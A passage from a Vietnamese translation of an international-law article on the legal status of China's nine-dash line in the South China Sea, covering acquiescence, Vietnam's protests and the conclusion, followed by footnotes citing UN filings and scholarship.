</div>
<div>
Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div>
<div>
</div>
<div>
Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div>
<div>
</div>
<div>
Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div>
<div>
</div>
<div>
Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div>
<div>
</div>
<div>
Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div>
<div>
</div>
<div>
Strupp cũng nhận xét rằng:</div>
<div>
</div>
<div>
Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div>
<div>
</div>
<div>
Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div>
<div>
</div>
<div>
Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div>
<div>
</div>
<div>
B. Phản đối / Thiếu sự mặc nhận</div>
<div>
</div>
<div>
Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div>
<div>
</div>
<div>
Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div>
<div>
</div>
<div>
Triệu Quốc Khải (Zhao Guocai) cho rằng:</div>
<div>
</div>
<div>
“Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div>
<div>
</div>
<div>
Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div>
<div>
</div>
<div>
1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div>
<div>
</div>
<div>
2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div>
<div>
</div>
<div>
Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div>
<div>
</div>
<div>
3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div>
<div>
</div>
<div>
4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div>
<div>
</div>
<div>
5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div>
<div>
</div>
<div>
Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div>
<div>
</div>
<div>
KẾT LUẬN</div>
<div>
</div>
<div>
Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div>
<div>
</div>
<div>
Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div>
<div>
</div>
<div>
Người dịch: Phan Văn Song</div>
<div>
</div>
<div>
Hiệu đính: Lê Trung Tĩnh</div>
<div>
</div>
<div>
--------------</div>
<div>
* Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div>
<div>
**Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div>
<div>
</div>
<div>
[1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div>
<div>
[2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div>
<div>
</div>
<div>
1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div>
<div>
</div>
<div>
2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div>
<div>
Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div>
<div>
</div>
<div>
[3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div>
<div>
</div>
<div>
[4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div>
<div>
</div>
<div>
[5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div>
<div>
</div>
<div>
[6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div>
<div>
</div>
<div>
[7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div>
<div>
[8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div>
<div>
[9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div>
<div>
[10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div>
<div>
</div>
<div>
[11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div>
<div>
</div>
<div>
[12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div>
<div>
</div>
<div>
[13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div>
<div>
[14] Paracel Islands (quẩn đảo Hoàng Sa).</div>
<div>
</div>
<div>
[15] Spratly Islands (quẩn đảo Trường Sa).</div>
<div>
</div>
<div>
[16] Macclesfield Bank (bãi cạn Macclesfiled).</div>
<div>
</div>
<div>
[17] Pratas Islands (quẩn đảo Pratas).</div>
<div>
</div>
<div>
[18] Hu, supra note 6 at 204–6.</div>
<div>
</div>
<div>
[19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div>
<div>
</div>
<div>
[20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div>
<div>
[21] People’s Republic of China, supra note 4.</div>
<div>
</div>
<div>
[22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div>
<div>
</div>
<div>
[23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div>
<div>
</div>
<div>
[24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div>
<div>
</div>
<div>
[25] Dzurek, supra note 3 at 13.</div>
<div>
</div>
<div>
[26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div>
<div>
</div>
<div>
[27] Dzurek, supra note 3 at 13.</div>
<div>
</div>
<div>
[28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div>
<div>
</div>
<div>
[29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div>
<div>
</div>
<div>
[30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div>
<div>
</div>
<div>
[31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div>
<div>
</div>
<div>
[32] Zou, supra note 33 at 152.</div>
<div>
</div>
<div>
[33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div>
<div>
</div>
<div>
[34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div>
<div>
</div>
<div>
[35] Zou, supra note 33 at 161 and references, supra note 25.</div>
<div>
</div>
<div>
[36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div>
<div>
</div>
<div>
[37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div>
<div>
</div>
<div>
[38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div>
<div>
(Supplement No. 8) 9.</div>
<div>
</div>
<div>
[39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div>
<div>
</div>
<div>
[40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div>
<div>
</div>
<div>
[41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div>
<div>
Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div>
<div>
</div>
<div>
[42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div>
<div>
</div>
<div>
[43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div>
<div>
</div>
<div>
[44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div>
<div>
</div>
<div>
[45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div>
<div>
</div>
<div>
[46] Nguyen, supra note 46 at 257.</div>
<div>
</div>
<div>
[47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div>
<div>
